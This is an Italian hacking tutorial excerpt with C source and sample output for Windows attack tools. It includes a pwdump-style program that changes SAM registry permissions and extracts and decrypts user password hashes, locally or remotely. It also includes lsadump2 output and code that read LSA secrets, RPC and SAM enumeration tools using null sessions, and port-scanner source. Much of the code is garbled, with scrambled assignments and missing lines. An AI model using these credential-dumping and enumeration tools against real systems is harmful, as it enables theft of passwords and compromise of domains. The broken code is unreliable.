/* * Convert a 7 byte array into an 8 byte des key with odd parity. */ void str_to_key(unsigned char *str,unsigned char *key) { void des_set_odd_parity(des_cblock *); int i; key[0] = str[0]>>1; key[1] = ((str[0]&0x01)<<6) | (str[1]>>2); key[2] = ((str[1]&0x03)<<5) | (str[2]>>3); key[3] = ((str[2]&0x07)<<4) | (str[3]>>4); key[4] = ((str[3]&0x0F)<<3) | (str[4]>>5); key[5] = ((str[4]&0x1F)<<2) | (str[5]>>6); key[6] = ((str[5]&0x3F)<<1) | (str[6]>>7); key[7] = str[6]&0x7F; for (i=0;i<8;i++) { key[i] = (key[i]<<1); } des_set_odd_parity((des_cblock *)key); } /* * Function to convert the RID to the first decrypt key. */ void sid_to_key1(unsigned long sid,unsigned char deskey[8]) { unsigned char s[7]; s[0] s[1] s[2] s[3] s[4] s[5] s[6] } = = = = = = = (unsigned (unsigned (unsigned (unsigned s[0]; s[1]; s[2]; char)(sid & 0xFF); char)((sid>>8) & 0xFF); char)((sid>>16) & 0xFF); char)((sid>>24) & 0xFF);
str_to_key(s,deskey);
/* * Function to convert the RID to the second decrypt key. */ void sid_to_key2(unsigned long sid,unsigned char deskey[8]) { unsigned char s[7]; s[0] s[1] s[2] s[3] s[4] s[5] s[6] } /* * Function to split a 'V' entry into a users name, passwords and comment. */ int check_vp(char *vp, int vp_size, char **username, char **fullname, char **comment, char **homedir, char *lanman,int *got_lanman, char *md4, int *got_md4, DWORD rid ) { des_key_schedule ks1, ks2; des_cblock deskey1, deskey2; = = = = = = = (unsigned (unsigned (unsigned (unsigned s[0]; s[1]; s[2]; char)((sid>>24) & 0xFF); char)(sid & 0xFF); char)((sid>>8) & 0xFF); char)((sid>>16) & 0xFF);
str_to_key(s,deskey);
*username = 0; *fullname = 0; *comment = 0; *homedir = 0; *got_lanman = 0; *got_md4 = 0; if(username_len < 0 || username_offset < 0 || comment_len < 0 || fullname_len < 0 || homedir_offset < 0 || comment_offset < 0 || pw_offset < 0) return -1; username_offset += 0xCC; fullname_offset += 0xCC; comment_offset += 0xCC; homedir_offset += 0xCC; pw_offset += 0xCC; if((*username = (char *)malloc(username_len + 1)) == 0) { fprintf(stderr, "check_vp: malloc fail for username.\n"); return -1; } if((*fullname = (char *)malloc(fullname_len + 1)) == 0) { fprintf(stderr, "check_vp: malloc fail for username.\n"); free(*username); *username = 0; return -1; } if((*comment = (char *)malloc(comment_len + 1)) == 0) { fprintf(stderr, "check_vp: malloc fail for comment.\n"); free(*username); *username = 0; free(*fullname); *fullname = 0; return -1; } if((*homedir = (char *)malloc(homedir_len + 1)) == 0) { fprintf(stderr, "check_vp: malloc fail for homedir.\n"); free(*username); *username = 0; free(*fullname); *fullname = 0; free(*comment); *comment = 0; return -1; } wcstombs( *username, (wchar_t *)(vp + username_offset), username_len/sizeof(wchar_t)); (*username)[username_len/sizeof(wchar_t)] = 0; wcstombs( *fullname, (wchar_t *)(vp + fullname_offset), fullname_len/sizeof(wchar_t)); (*fullname)[fullname_len/sizeof(wchar_t)] = 0; wcstombs( *comment, (wchar_t *)(vp + comment_offset), comment_len/sizeof(wchar_t)); (*comment)[comment_len/sizeof(wchar_t)] = 0; wcstombs( *homedir, (wchar_t *)(vp + homedir_offset), homedir_len/sizeof(wchar_t)); (*homedir)[homedir_len/sizeof(wchar_t)] = 0; if(pw_offset >= vp_size) { /* No password */ *got_lanman = 0; *got_md4 = 0; return 0; } /* Check that the password offset plus the size of the lanman and md4 hashes fits within the V record. */
if(stricmp( "Administrator", username) != 0) { fprintf(stderr, "%s: You must be running as user Administrator \ to run this program\n", argv[0]); return -1; } /* * Open a connection to the remote machines registry. */ if(argc == 2) { if((err = RegConnectRegistry( argv[1], HKEY_LOCAL_MACHINE, &start_key)) != ERROR_SUCCESS) { fprintf(stderr, "%s: Failed to connect to registry on remote
computer %s.\ Error was %s.\n", argv[0], argv[1], str_oserr(err)); return -1; } }
/* * We need to get to HKEY_LOCAL_MACHINE\SECURITY\SAM\Domains\Account\Users. * The security on this key normally doesn't allow Administrators * to read - we need to add this. */ if((err = set_sam_tree_access( start_key, &users_key)) != 0) { if(err == -2) restore_sam_tree_access( start_key); return -1; } /* Print the users SAM entries in smbpasswd format onto stdout. */ enumerate_users( users_key ); RegCloseKey(users_key); /* reset the security on the SAM */ restore_sam_tree_access( start_key ); if(start_key != HKEY_LOCAL_MACHINE) RegCloseKey(start_key); return 0; }
LSA
Un'altra delle spade nel fianco dei sistemi Windows relativa alle informazioni che mediante un utility che si chiama lsadump2 si possono ottenere.
E:\Rhino9\lsadump2>lsadump2 $MACHINE.ACC E8 17 E6 E8 CC 3D 74 0D A7 48 53 F3 29 BC 54 D8 E9 6D 46 EC 62 9E 00 FA 7F aspnet_WP_PASSWORD 4E 00 6D 00 69 00 61 00 31 00 4E 00 48 36 00 45 00 DefaultPassword DPAPI_SYSTEM 01 00 00 00 B4 2F BD AD 6F B1 5B 44 EA 2E 5A 21 BA 99 DC 09 7B F1 FB 27 D1 AB 34 D6 20 42 D0 FC B8 60 D1 01 83 BC MicrosoftSQLServerAgentProxyPasswordKey 5A FA FE B5 25 75 34 36 45 23 25 60 0E 83 A9 9C E8 09 3B 85 80 87 75 06 01 85 NL$KM E2 AC 22 C0 AE BC 7F CC 44 2F F5 33 36 30 93 9D BA C5 0A 96 F5 FD DA F9 6D 01 50 37 92 1E 49 7A 76 38 4F 78 92 5A 21 E2 2C FB 4F A5 FE 82 35 D1 12 F7 C7 20 SAC 02 00 00 00 SAI
AE 69 A3 00 68 00
.....=t..HS.).i. .T..mF.b.... N.m.i.a.1.N.H.h. 6.E. ...../..o.[D.... .Z!....{..'...h. 4. B...`.... Z...%u46E#%`...S .....;...u.....Q ..".....D/.36f.. 0..........m.... P7..Izv8Ox.Z!.:. .,.O...5.... ... ....
FD 02 FC B2 68 FF 82 9C 53 E1 9E 51 66 06 19 11 D1 87 3A E9 94 CE EA 1A
Ma cosa analizza di fatto lsadump ? Il sistema la dimostrazione di come risulta eccessivamente pericoloso lasciare delle credenziali per il logon non codificate per i sistemi esterni. Allinterno del registro esiste un insieme di informazioni chiamate LSA Secrets (Local Security Authority) che si trovano sotto la sottochiave : HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets Il sistema LSA viene anche definito con il termine di Security Subsystem ed di fatto la componente centrale della sicurezza NT In altre parole Local Security Authority un subset protetto di Windows che mantiene le informazioni relative a tutti gli aspetti della sicurezza locale di un sistema, generalmente conosciuto con il termine di local security policy. Queste informazioni includono : Le password degli accounts di servizio specificate come testi. Questi tipi di accessi sono necessari ai programmi che devono loggare per eseguire delle funzioni nellambito dei contesti degli utenti attivi. La chace delle password e gli ultimi 10 utenti loggiati nella macchina. Le passwords FTP e WEB
Supponiamo di avere un server standalone che esegua del servizi SQL eseguiti allinterno di un contesto relativo ad un utente del dominio. Se il server avesse una password di Administrator locale blank allora LSA Secrets potrebbe essere utilizzato per guadagnare laccesso e la password a livello di utente del dominio. Questa vulnerabilit potrebbe anche essere utilizzata per compromettere una configurazione di un multimaster domain. Se un resource domain server possedesse un servizio in esecuzione allinterno di un contesto di un utente del master domain, la manomissione del server allinterno del resource domain potrebbe permettere allattaccante di ottenere credenziali allinterno del master domain. Nellesempio di output di prima possibile vedere che il sistema possiede un servizio SQL Server. MicrosoftSQLServerAgentProxyPasswordKey 5A FA FE B5 25 75 34 36 45 23 25 60 0E 82 9C 53 83 A9 9C E8 09 3B 85 80 87 75 06 01 85 E1 9E 51 Z...%u46E#%`...S .....;...u.....Q
Gli oggetti Policy sono utilizzati per controllare gli accessi al sistema di database LSA il quale contiene informazioni che vengono applicate a tutto il sistema ed in ogni caso definisce tutti i valori di default. Ogni sistema possiede un solo Policy object il quale viene creato quando il sistema parte e in ogni caso nessuna applicazione pu crearlo o distruggerlo. Le informazioni salvate in questo oggetto Policy sono : Il default di sistema della quota di memoria. Quote particolari possono essere assegnate ad individui, gruppi o gruppi locali. Requisiti particolari di sistema relativi alla security auditing. Informazioni relative al dominio principale del sistema. Queste informazioni includono il nome e il SID del dominio primario, il nome dellaccount utilizzato nellautenticazione, il nome del domain controller e altre informazioni di questo tipo.Capite che questo meccanismo di fatto uno dei punti fondamentali della sicurezza di un sistema Windows. Informazioni relative allautorit LSA sia della master copy delle informaz<ioni di Policy che della replica.
Esistono delle funzioni allinterno dei vari SDK di Microsoft che permettono di interrogare le informazioni legate al sistema LSA. SDK LSA Authentication e dentro a questo troverete tutte le funzioni che permettono di gestore questo meccanismo. Il sistema dellautenticazione viene schematizzato con :
Guardate il seguente programmino che stampa tutte le informazioni usando le funzioni del SDK : #include <windows.h> #include <stdio.h> #include "ntsecapi.h" #define AST(x) if (!(x)) {printf("Failed line %d\n", __LINE__);exit(1);} else void write(); PLSA_UNICODE_STRING str(LPWSTR x) { static LSA_UNICODE_STRING s; s.Buffer=x; s.Length=wcslen(x)*sizeof(WCHAR); s.MaximumLength = (wcslen(x)+1)*2; return &s;
int _cdecl main(int argc, char *argv[]) { LSA_HANDLE pol; PLSA_UNICODE_STRING foo; LSA_OBJECT_ATTRIBUTES attrs; WCHAR keyname[256]=L""; WCHAR host[256]=L""; wsprintfW(keyname, L"%hS", argv[1]); if(argc == 3) wsprintfW(host, L"%hS", argv[2]); memset(&attrs, 0, sizeof(attrs)); AST(!LsaOpenPolicy(str(host), &attrs, 0, &pol)); AST(!LsaRetrievePrivateData(pol, str(keyname), &foo)); write(1, foo->Buffer, foo->Length); LsaClose(pol); exit(0); }
Uno dei siti su cui sono presenti moltissime utilities di analisi : http://www.razor.com Su questo coma abbiamo appena detto sono presenti numerose utilities tra cui ad esempio un pacchetto composto da diversi tools chiamato ACL TOOLS v1.0. Il pacchetto contiene lsaacl e samacl i quali sono due editor per gli oggetti LSA e SAM. Il primo viene lanciato tramite linea di comando mediante : c:> lsaacl oppure specificando la macchina c:>lsaacl \\macchina o anche c:>lsaacl s \\macchina Il programma viene visualizzato tramite interfaccia WINDOWS.
Il sorgente del programma scritto in C, da cui possibile vedere luso delle funzioni legate allanalisi della Policy, il seguente:
#define UNICODE #define _UNICODE #include <tchar.h> #include <windows.h> #include <aclui.h> #include <aclapi.h> #include <ntsecapi.h> /* * These are not prototyped in normal headers, but they are exported * from advapi32.lib */
if (m_pszPageTitle) poi->dwFlags |= SI_PAGE_TITLE; return S_OK; } STDMETHODIMP GetSecurity (SECURITY_INFORMATION ri, void** ppsd, BOOL bDefault) { DWORD rc = LsaQuerySecurityObject (m_handle, ri, ppsd); return rc ? HRESULT_FROM_WIN32 (rc) : S_OK; } STDMETHODIMP SetSecurity (SECURITY_INFORMATION ri, void* psd) { DWORD rc = LsaSetSecurityObject (m_handle, ri, psd); return rc ? HRESULT_FROM_WIN32 (rc) : S_OK; } STDMETHODIMP PropertySheetPageCallback (HWND hwnd, UINT msg, SI_PAGE_TYPE pt) {
Il secondo programma invece smaacl il quale viene come quello precedente lanciato da linea di comando. Sono metodi validi per eseguirlo : [c:\acltools] samacl o [c:\acltools] samacl \\machine Allo stesso modo di lsaacl, samacl accetta le opzioni "-p" e "-s". samacl pu anche editare uno degli oggetti del dominio. Questo possiede lopzione -d <domain-name>. Il nome del dominio pu essere "Builtin", per editare il dominio Builtin, oppure qualsiasi altro per editare il dominio dellaccount. [c:\acltools] samacl -d Builtin
o [c:\acltools] samacl -d Account [c:\acltools] samacl -d foo Se specificate il domnio potetet anche specificare un utente, un gruppo o anche un alias di un dominio. Esempio: Per editare l Administrators local group (alias). [c:\acltools] samacl -d Builtin -a Administrators Editare il gruppo specialel "None" sulla workstation, includendo il SACLs: [c:\acltools] samacl -s -d Account -g None \\WKSTA1 Su molti sistemi esiste quella che vine edefinita con il termine di remote procedure call (RPC) che costituita da una tecnologia message-passing sviluppata da Sun Microsystems ed estesa da Open Software Foundation (OSF) che permette ad un applicazione di eseguire delle procedure ed interagire con dei servizi su di un sistema remoto. La Remote procedure calls (RPCs) il metodo pereferito per labilitazione di processi client/server su Microsoft Windows 2000 e Windows NT. Esiste un implementazione Microsoft delle funzionalit RPC che compatibile con le altre che girano su piattaforme come ad esempio IBM AIX, HP-UX, e Sun Solaris. Come funziona ? Potete usare RPCs per passare messaggi tra componenti elativi ad applicazioni distribuite che sono localizzate su computers differenti di una rete. Cosi come la local procedure calls (LPCs) fornisce un meccanismo per abilitare parti differenti di un applicazione localizzate su di un singolo computer, RPCs fornisce il metodo per comunicare con sistemi differenti. RPCs attualemnte utilizza una variet di altri meccanismi di comunicazione di interprocessi (IPC) come ad esempio le named pipes, I mailslots, i Windows Sockets, e NetBIOS per stabilire una comunicazione tra client RPC e componeti server RPCsu macchine differenti. La remote procedure call service (RPC service), un componente di Windows NT ed responsabile del message-passing tra I componenti cliente e quelli server di applicazioni distribuite. Nei capitoli legati al port scannino abbiamo visto che possibile individuare la porta sulla quale i servizi RPC sono forniti. Sempre sul sito RAZOR prelevabile un utility chiamata RPC TOOLS che pu essere utilizzata per ottenere informazioni relative ad un sistema su cui ijn funzione questo servizio. Lutility composta da tre programmi e precisamente da RPCDUMP, IFIDS e WALKSAM. rpcdump esegue il dumps del contenuto dell endpoint mapper database. simile ad una vecchia utility che si chiamava epdump.exe. Luso : rpcdump [-v] [-p protseq] target Lopzione -v mette il comando in modo verboso. Quella -p permette di specificare una particolare sequenza del protocollo che deve essere utilizzata per dialogare con l endpoint mapper. Esempio: [c:\rpctools] rpcdump 192.168.1.1 Esegue il dump dell endpoint map normalmente. [c:\rpctools] rpcdump -v 192.168.1.1
Esegue il dumps dellendpoint map e prova a ricavare informazioni aggiuntive sullinterfaccia specificata. [c:\rpctools] rpcdump -v -p ncadg_ip_udp 192.168.1.1 Esegue il dump dell endpoint map via UDP. Il sorgente in linguaggio CPP il seguente :
#include <windows.h> #include <winnt.h> #include <stdio.h> #include <rpc.h> #include <rpcdce.h> static int verbosity; int try_protocol (char *protocol, char *server) { unsigned char *pStringBinding = NULL; RPC_BINDING_HANDLE hRpc; RPC_EP_INQ_HANDLE hInq; RPC_STATUS rpcErr; RPC_STATUS rpcErr2; int numFound = 0; // // Compose the string binding // rpcErr = RpcStringBindingCompose (NULL, protocol, server, NULL, NULL, &pStringBinding); if (rpcErr != RPC_S_OK) { fprintf (stderr, "RpcStringBindingCompose failed: %d\n", rpcErr); return numFound; } // // Convert to real binding // rpcErr = RpcBindingFromStringBinding (pStringBinding, &hRpc); if (rpcErr != RPC_S_OK) { fprintf (stderr, "RpcBindingFromStringBinding failed: rpcErr); RpcStringFree (&pStringBinding); return numFound; } // // Begin Ep enum // rpcErr = RpcMgmtEpEltInqBegin (hRpc, RPC_C_EP_ALL_ELTS, NULL, 0, NULL, &hInq); if (rpcErr != RPC_S_OK) { fprintf (stderr, "RpcMgmtEpEltInqBegin failed: %d\n", rpcErr); RpcStringFree (&pStringBinding); RpcBindingFree (hRpc); return numFound; } // // While Next succeeds // do {
%d\n",
(hEnumBind,
int main (int argc, char *argv[1]) { int i, j; char *target = NULL; char *protseq = NULL; for (j=1; j<argc; j++) { if (argv[j][0] == '-') { switch (argv[j][1]) { case 'v': verbosity++; break; case 'p': protseq = argv[++j]; break; default: Usage (argv[0]); break; } } else { target = argv[j]; } } if (!target) { fprintf (stderr, "Usage: %s <server>\n", argv[0]); exit (1); } if (protseq) { try_protocol (protseq, target); } else { for (i=0; i<NUM_PROTOCOLS; i++) { if (try_protocol (protocols[i], target) > 0) { break; } } } return 0; }
Ifids invece un piccolo wrapper che funziona sulla chiamata a RpcMgmtInqIfIds che usata in rpcdump. Questa viene utilizzata per vedere un solo RPC server invece di vederli tutti. Uso: ifids -p protseq -e endpoint target Lopzione p stabilisce la sequenza del protocollo mentre quella -e specifica l endpoint della sequenza del protocollo. Esempi: [c:\rpctools] ifids -p ncacn_ip_tcp -e 1029 192.168.1.1 Colloquia con RPC server usando TCP sulla porta 1029. [c:\rpctools] ifids -p ncadg_ip_udp -e 1028 Qui invece viene usato il protocollo UDP sulla porta 1028.
%d\n",
int main (int argc, char *argv[1]) { int i; char *target = NULL; char *protseq = "ncacn_ip_tcp"; char *endpoint = NULL; for (i=1; i<argc; i++) { if (argv[i][0] == '-') { switch (argv[i][1]) { case 'v': verbosity++; break; case 'p': protseq = argv[++i]; break; case 'e': endpoint = argv[++i]; break; default: fprintf (stderr, "Unknown option: %s\n", argv[i]); exit (1); break; } } else { target = argv[i]; } } if (!target || !endpoint) { Usage (argv[0]); } do_ifids (target, protseq, endpoint); return 0; }
Se viene specificata una sequenza di protocollo alternativa, walksam cerca in ogni caso di usare una null session. Esempi: [c:\rpctools] walksam 192.168.1.1 Scorre il SAM file usando Named Pipes. [c:\rpctools] walksam -p ncacn_ip_tcp -e 1028 192.168.1.1 Scorre il file SAM usando TCP e la porta 1028.
[c:\rpctools] walksam -p ncacn_http -e 1029 192.168.1.1 Scorre SAM usando IIS come proxy. Esistono degli interprocessi di comunicazione client/server non documentate che sono utilizzate da componenti Windows NT. Queste vengono chiamate con il termine di LPC PORT. Il metodo fondamentale utilizzato per la comunicazione con le porte mediante il passaggio di messaggi tra il client e il server. Questi messaggi hanno la forma di :
typedef struct lpc_msg { unsigned short data_len; unsigned short msg_len; /* normally data_len + sizeof (struct lpc_msg) */ unsigned short msg_type; unsigned short address_range_offset; unsigned long pid; /* process id of client */ unsigned long tid; /* thread id of client */ unsigned long mid; /* message id for this message */ unsigned long callback_id; /* callback id for this message */ /* unsigned char buff[0]; data_len bytes of data for this message */ } LPC_MSG;
Esistono diversi problemi di sicurezza connessi allutilizzo di queste porte. La cosa interessante legata alluso di queste porte che sebbene il server riceva un nuovo handle da NtAcceptConnectPort per ogni client connesso, questo usualmente non utilizza
Esistono una serie di utilities che dispongono di numerosissime funzioni al loro interno. Abbiamo visto che esistono utility che eseguono le funzionalit di NSLOOKUP, altre che eseguono il finger, altre ancora che eseguono lenumerazione delle connessioni TCP e cosi via. Alcuni pacchetti dispongono di tutto al loro interno. Uno di questi pacchetti ADVANCED ADMINISTRATOR TOOLS il quale di tipo shareware ed prelevabile in formato dimostrativo, funzionante per circa 30 giorni, dalla rete. Un altro pacchetto con un numero elevatissimo di funzioni al suo interno NETSCAN TOOLS 4.22.
Le funzioni eseguite sono molte a partire dal TRACROUTE per arrivare al FINGER, WHOIS ecc.
Footprinting
Questo termine quello utilizzato per descrivere il processo completo indirizzato alla creazione di un quadro completo legato allo schema di sicurezza di un determinato obbiettivo. Le operazioni da condurre sono molte in quanto possiedono come obbiettivo quello di riuscire ad individuare ogni singola caratteristica del sistema a partire dal tipo per giungere al sistema operativo e ai vari software che girano su questi. Come abbiamo gi detto prima alcune volte lhacking si basa sul fatto di saper sfruttare bugs e caratteristiche dei vari software di gestione dei servers. Le attivit di raccolta delle informazioni sono il primo passo da fare e questo significa saper utilizzare un certo numero di programmi reperibili sulla rete indirizzati a identificare ogni singola caratteristica del sistema. Supponiamo di riuscire ad individuare che su un determinato sistema ci gira Windows 2000 Server. Un'altra serie di informazioni importantissime ad esempio saranno quelle che ci mostrearanno quali patchs e hotfix sono state installate su questo. Stessa cosa dicasi per i vari software quali ad esempio IIS. Molte modalit di accesso ai sistemi si basano, ad esempio, sui bugs presenti nella versione . 0 di questo server. Prima di cercare di adottare determinate soluzioni sar quindi necessario identificare se la versione di fatto quella che ci stiamo aspettando. In questo capitolo cercheremo di fare una panoramica su quelle che sono le informazioni utili e quali sono i mezzi per riuscire ad ottenerle. La prima attivit sicuramente quella che riesce ad individuare determinati IP con delle porte aperte. I vari servers possono avere in funzione determinati servizi come ad esempio quello relativo a http. Nella tabella legata alla descrizione delle porte abbiamo visto quali sono quelle pi frequenti come ad esempio quella 80 legata al servizio http ovvero quella del WEB Server.
//Microsoft Developer Studio generated resource script. // #include "resource.h" #define APSTUDIO_READONLY_SYMBOLS ///////////////////////////////////////////////////////////////////////////// // // Generated from the TEXTINCLUDE 2 resource. // #include "afxres.h" ///////////////////////////////////////////////////////////////////////////// #undef APSTUDIO_READONLY_SYMBOLS ///////////////////////////////////////////////////////////////////////////// // English (U.S.) resources #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU) #ifdef _WIN32 LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US #pragma code_page(1252) #endif //_WIN32 #ifdef APSTUDIO_INVOKED ///////////////////////////////////////////////////////////////////////////// // // TEXTINCLUDE // 1 TEXTINCLUDE DISCARDABLE BEGIN "resource.h\0" END 2 TEXTINCLUDE DISCARDABLE BEGIN "#include ""afxres.h""\r\n" "\0" END 3 TEXTINCLUDE DISCARDABLE BEGIN "#define _AFX_NO_SPLITTER_RESOURCES\r\n" "#define _AFX_NO_OLE_RESOURCES\r\n" "#define _AFX_NO_TRACKER_RESOURCES\r\n" "#define _AFX_NO_PROPERTY_RESOURCES\r\n" "\r\n" "#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU)\r\n" "#ifdef _WIN32\r\n" "LANGUAGE 9, 1\r\n" "#pragma code_page(1252)\r\n" "#endif //_WIN32\r\n" "#include ""res\\portscan.rc2"" // non-Microsoft Visual C++ edited resources\r\n"
END
#endif
///////////////////////////////////////////////////////////////////////////// // // Icon // // Icon with lowest ID value placed first to ensure application icon // remains consistent on all systems. IDR_MAINFRAME ICON DISCARDABLE "res\\portscan.ico" ///////////////////////////////////////////////////////////////////////////// // // Dialog // IDD_PORTSCAN_DIALOG DIALOGEX 0, 0, 355, 241 STYLE DS_MODALFRAME | WS_POPUP | WS_VISIBLE | WS_CAPTION EXSTYLE WS_EX_APPWINDOW CAPTION "Port Scanner" FONT 8, "MS Sans Serif" BEGIN CONTROL "Scan &Ports",IDC_PORT,"Button",BS_AUTORADIOBUTTON | WS_GROUP | WS_TABSTOP,275,20,53,13 CONTROL "Scan &IP's",IDC_IP,"Button",BS_AUTORADIOBUTTON | WS_TABSTOP,215,20,50,13 RTEXT "IP/Port:",IDC_STATIC,15,22,32,10 EDITTEXT IDC_IP_PORT,60,20,145,12,ES_AUTOHSCROLL LISTBOX IDC_LIST,10,55,258,174,LBS_SORT | LBS_NOINTEGRALHEIGHT | WS_VSCROLL | WS_TABSTOP DEFPUSHBUTTON "&SCAN",IDOK,295,205,50,20 PUSHBUTTON "Cancel Scan",IDCANCEL,295,150,50,20 COMBOBOX IDC_THREAD_COUNT,295,180,50,113,CBS_DROPDOWNLIST | WS_VSCROLL | WS_TABSTOP PUSHBUTTON "Sa&ve Output",IDC_SAVE,295,125,50,19 GROUPBOX "",IDC_STATIC,0,0,355,45,0,WS_EX_DLGMODALFRAME GROUPBOX "",IDC_STATIC,0,45,280,195,0,WS_EX_DLGMODALFRAME GROUPBOX "",IDC_STATIC,280,45,75,195,0,WS_EX_DLGMODALFRAME END #ifndef _MAC ///////////////////////////////////////////////////////////////////////////// // // Version // VS_VERSION_INFO VERSIONINFO FILEVERSION 1,0,0,1 PRODUCTVERSION 1,0,0,1 FILEFLAGSMASK 0x3fL #ifdef _DEBUG FILEFLAGS 0x1L #else FILEFLAGS 0x0L #endif FILEOS 0x4L FILETYPE 0x1L FILESUBTYPE 0x0L BEGIN BLOCK "StringFileInfo" BEGIN BLOCK "040904B0" BEGIN VALUE "CompanyName", "\0" VALUE "FileDescription", "portscan MFC Application\0" VALUE "FileVersion", "1, 0, 0, 1\0" VALUE "InternalName", "portscan\0" VALUE "LegalCopyright", "Copyright (C) 1998\0" VALUE "LegalTrademarks", "\0" VALUE "OriginalFilename", "portscan.EXE\0"
///////////////////////////////////////////////////////////////////////////// // // DESIGNINFO // #ifdef APSTUDIO_INVOKED GUIDELINES DESIGNINFO DISCARDABLE BEGIN IDD_PORTSCAN_DIALOG, DIALOG BEGIN LEFTMARGIN, 2 RIGHTMARGIN, 353 TOPMARGIN, 2 BOTTOMMARGIN, 239 END END #endif // APSTUDIO_INVOKED ///////////////////////////////////////////////////////////////////////////// // // Dialog Info // IDD_PORTSCAN_DIALOG DLGINIT BEGIN IDC_THREAD_COUNT, 0x403, 11, 0 0x2031, 0x5328, 0x6e69, 0x6c67, 0x2965, IDC_THREAD_COUNT, 0x403, 10, 0 0x2032, 0x6854, 0x6572, 0x6461, 0x0073, IDC_THREAD_COUNT, 0x403, 10, 0 0x2034, 0x6854, 0x6572, 0x6461, 0x0073, IDC_THREAD_COUNT, 0x403, 10, 0 0x2038, 0x6854, 0x6572, 0x6461, 0x0073, IDC_THREAD_COUNT, 0x403, 11, 0 0x3631, 0x5420, 0x7268, 0x6165, 0x7364, IDC_THREAD_COUNT, 0x403, 11, 0 0x3233, 0x5420, 0x7268, 0x6165, 0x7364, IDC_THREAD_COUNT, 0x403, 11, 0 0x3436, 0x5420, 0x7268, 0x6165, 0x7364, IDC_THREAD_COUNT, 0x403, 12, 0 0x3231, 0x2038, 0x6854, 0x6572, 0x6461, IDC_THREAD_COUNT, 0x403, 12, 0 0x3532, 0x2036, 0x6854, 0x6572, 0x6461, IDC_THREAD_COUNT, 0x403, 12, 0 0x3135, 0x2032, 0x6854, 0x6572, 0x6461, IDC_THREAD_COUNT, 0x403, 13, 0 0x3031, 0x3432, 0x5420, 0x7268, 0x6165, 0 END
"\000"
///////////////////////////////////////////////////////////////////////////// // // String Table // STRINGTABLE DISCARDABLE BEGIN IDP_SOCKETS_INIT_FAILED "Windows sockets initialization failed." END #endif // English (U.S.) resources /////////////////////////////////////////////////////////////////////////////
#ifndef APSTUDIO_INVOKED ///////////////////////////////////////////////////////////////////////////// // // Generated from the TEXTINCLUDE 3 resource. // #define _AFX_NO_SPLITTER_RESOURCES #define _AFX_NO_OLE_RESOURCES #define _AFX_NO_TRACKER_RESOURCES #define _AFX_NO_PROPERTY_RESOURCES #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU) #ifdef _WIN32 LANGUAGE 9, 1 #pragma code_page(1252) #endif //_WIN32 #include "res\portscan.rc2" // non-Microsoft Visual C++ edited resources #include "afxres.rc" // Standard components #endif ///////////////////////////////////////////////////////////////////////////// #endif // not APSTUDIO_INVOKED
Le funzioni di gestione della rete sono incapsulati dentro alla classe CinetAddress.
#if !defined(AFX_INETADDRESS_H__3D4CE3A4_649E_11D2_A3F7_004033901FF3__INCLUDED_) #define AFX_INETADDRESS_H__3D4CE3A4_649E_11D2_A3F7_004033901FF3__INCLUDED_ #if _MSC_VER > 1000 #pragma once #endif // _MSC_VER > 1000 ///////////////////////////////////////////////////////////////////////////// // CInetAddress // use array operator for multiple aliases - or cast to 'SOCADDR_IN' directly // constructor takes generic inet address and optional default port # class CInetAddress : public CObject, public SOCKADDR_IN { public: DECLARE_DYNAMIC(CInetAddress); CInetAddress(LPCSTR szAddr, UINT uiDefPort=0); virtual ~CInetAddress(); // server:port
BOOL IsValid() // indicates no error in constructor { return(m_bIsValid); } CString GetAddress() // as specified in constructor with port { return(m_csAddr); } CString GetName() { return(m_csName); } CString GetAlias() // obtained by 'gethostbyaddr' { return(m_csAlias); } int GetDimensions() { return(1 + m_aAlternates.GetSize()); } SOCKADDR_IN operator [] (int iIndex); static BOOL IsAddress(LPCSTR szAddr); // TRUE if #.#.#.#; false otherwise static BOOL GetAddress(LPCSTR szAddr, char cAddr[4]); static BOOL IsAddressRange(LPCSTR szAddr); // TRUE if #.#.#.# with asterisks static BOOL GetAddressRange(LPCSTR szAddr, int cAddr[4]); protected: CArray<SOCKADDR_IN,SOCKADDR_IN &> m_aAlternates; BOOL m_bIsValid;
};
#endif // AFX_INETADDRESS_H__3D4CE3A4_649E_11D2_A3F7_004033901FF3__INCLUDED_
sin_port = htons(sin_port);
if(!csAddr) { // assume current machine - get machine's default host name gethostname(csAddr.GetBufferSetLength(MAX_PATH), MAX_PATH); csAddr.ReleaseBuffer(-1); } m_csAddr.Format("%s:%d", (LPCSTR)csAddr, (UINT)htons(sin_port));
pH = gethostbyaddr(cAddr, sizeof(cAddr), PF_INET); if(!pH) // special case - specified an address... { if(::MessageBox(NULL, csAddr + " - address does not resolve - use it anyway?", "* PORTSCAN - WARNING *", MB_SETFOREGROUND | MB_YESNO | MB_ICONASTERISK) == IDYES) { m_bIsValid = TRUE; // if I get here, it worked ok m_csAddr.Format("%s:%d", (LPCSTR)csAddr, htons(sin_port)); // just keep THIS } return; } } if(!pH) { return; } }
if(pH->h_name) // keep copy of name/port I connected to { m_csAddr.Format("%s:%d", (LPCSTR)pH->h_name, (UINT)htons(sin_port)); } // if there's an alias, put the first one in m_csAlias if(pH->h_aliases && pH->h_aliases[0]) m_csAlias = pH->h_aliases[0]; ASSERT(pH->h_addrtype == PF_INET); ASSERT(pH->h_length == 4); if(!pH->h_addr_list || !pH->h_addr_list[0]) { return; // no further processing (error) } if(bIsAddress) { SOCKADDR_IN sa; memset(&sa, 0, sizeof(sa)); sa.sin_family = sin_family; sa.sin_port = sin_port; if(pH->h_length >= 1) sa.sin_addr.S_un.S_un_b.s_b1 if(pH->h_length >= 2) sa.sin_addr.S_un.S_un_b.s_b2 if(pH->h_length >= 3) sa.sin_addr.S_un.S_un_b.s_b3 if(pH->h_length >= 4) sa.sin_addr.S_un.S_un_b.s_b4 = pH->h_addr_list[i1][0]; = pH->h_addr_list[i1][1]; = pH->h_addr_list[i1][2]; = pH->h_addr_list[i1][3];
} else { if(pH->h_length >= 1) sin_addr.S_un.S_un_b.s_b1 if(pH->h_length >= 2) sin_addr.S_un.S_un_b.s_b2 if(pH->h_length >= 3) sin_addr.S_un.S_un_b.s_b3 if(pH->h_length >= 4) sin_addr.S_un.S_un_b.s_b4 }
if(sa.sin_addr.S_un.S_addr != sin_addr.S_un.S_addr) // do they match? m_aAlternates.Add(sa); // if NOT, make this one the 1st alternate
